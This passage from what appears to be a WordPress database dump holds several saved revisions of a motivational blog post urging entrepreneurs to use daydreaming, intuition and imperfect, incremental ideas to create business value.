mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it. If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity to provide value where others may not. You have to believe the idea, and when you do– you will see it!\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n\r\n<strong>Creative ideas don’t have to be original.</strong>\r\nMany entrepreneurs put undue pressure on themselves to develop original ideas. In my experience, there is nothing new under the sun. Every ground-breaking innovation that ever was came as a result of what came before it.  For example, someone invented windshield wipers because people wanted to drive their car in the rain. Then a few years later, someone had the idea that intermittent wiper blades would be a better solution. Many times useful ideas are incremental.  You don’t have to create a revolution to create value. The point is every creative idea always builds on something that came before it.  Originality, in my opinion, is overrated and often gets in the way of innovation and value creation.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs needlessly worry that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\nIdentify opportunities in the market that you have not noticed before.\r\n\r\nDiscover profitable niche markets where your capabilities can serve people better.\r\n\r\nDiscover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.\r\n\r\nDiscover new customer applications for your products or services.\r\n\r\nCreate a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.\r\n\r\nCreate compelling marketing ideas to dramatize the use of your product or service.\r\n\r\nProvide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-4', '', '', '2010-04-26 14:22:28', '2010-04-26 21:22:28', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-4/', 0, 'revision', '', 0),
(778, 2, '2010-04-26 14:25:00', '2010-04-26 21:25:00', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\r\n\r\n<strong>Your creative imagination is visual.</strong>\r\n\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.\r\n\r\nWhen you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. To be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it. If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity to provide value where others may not. You have to believe the idea, and when you do– you will see it!\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n\r\n<strong>Creative ideas don’t have to be original.</strong>\r\nMany entrepreneurs put undue pressure on themselves to develop original ideas. In my experience, there is nothing new under the sun. Every ground-breaking innovation that ever was came as a result of what came before it.  For example, someone invented windshield wipers because people wanted to drive their car in the rain. Then a few years later, someone had the idea that intermittent wiper blades would be a better solution. Many times useful ideas are incremental.  You don’t have to create a revolution to create value. The point is every creative idea always builds on something that came before it.  Originality, in my opinion, is overrated and often gets in the way of innovation and value creation.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-5', '', '', '2010-04-26 14:25:00', '2010-04-26 21:25:00', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-5/', 0, 'revision', '', 0);
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(780, 2, '2010-04-26 14:35:32', '2010-04-26 21:35:32', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\r\n\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.When you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. When you believe an idea – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n<h2></h2>\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-7', '', '', '2010-04-26 14:35:32', '2010-04-26 21:35:32', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-7/', 0, 'revision', '', 0),
(779, 2, '2010-04-26 14:32:45', '2010-04-26 21:32:45', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\r\n\r\n<strong>Your creative imagination is visual.</strong>\r\n\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.When you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. When you believe an idea – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nThe point is every creative idea  always builds on something that came before it.  Originality, in my  opinion, is overrated and often gets in the way of innovation and value  creation. Many entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it.\r\n<h2></h2>\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-6', '', '', '2010-04-26 14:32:45', '2010-04-26 21:32:45', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-6/', 0, 'revision', '', 0),
(781, 2, '2010-04-26 14:37:01', '2010-04-26 21:37:01', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.When you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. When you believe an idea – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n<h2></h2>\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-8', '', '', '2010-04-26 14:37:01', '2010-04-26 21:37:01', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-8/', 0, 'revision', '', 0),
(782, 2, '2010-12-27 16:12:05', '2010-12-27 23:12:05', '<img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />\r\n<h2>It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  Of course, you need to have a compelling vision of what you want to create in your business. When you visualize an idea, what you are really doing is accessing the rich resources of your sub-conscious mind. When you believe an idea is possible – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your products and services that differentiate you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-autosave', '', '', '2010-12-27 16:12:05', '2010-12-27 23:12:05', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-autosave/', 0, 'revision', '', 0),
(783, 2, '2010-04-26 14:44:03', '2010-04-26 21:44:03', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.When you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. When you believe an idea – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n<h2></h2>\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-9', '', '', '2010-04-26 14:44:03', '2010-04-26 21:44:03', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-9/', 0, 'revision', '', 0),
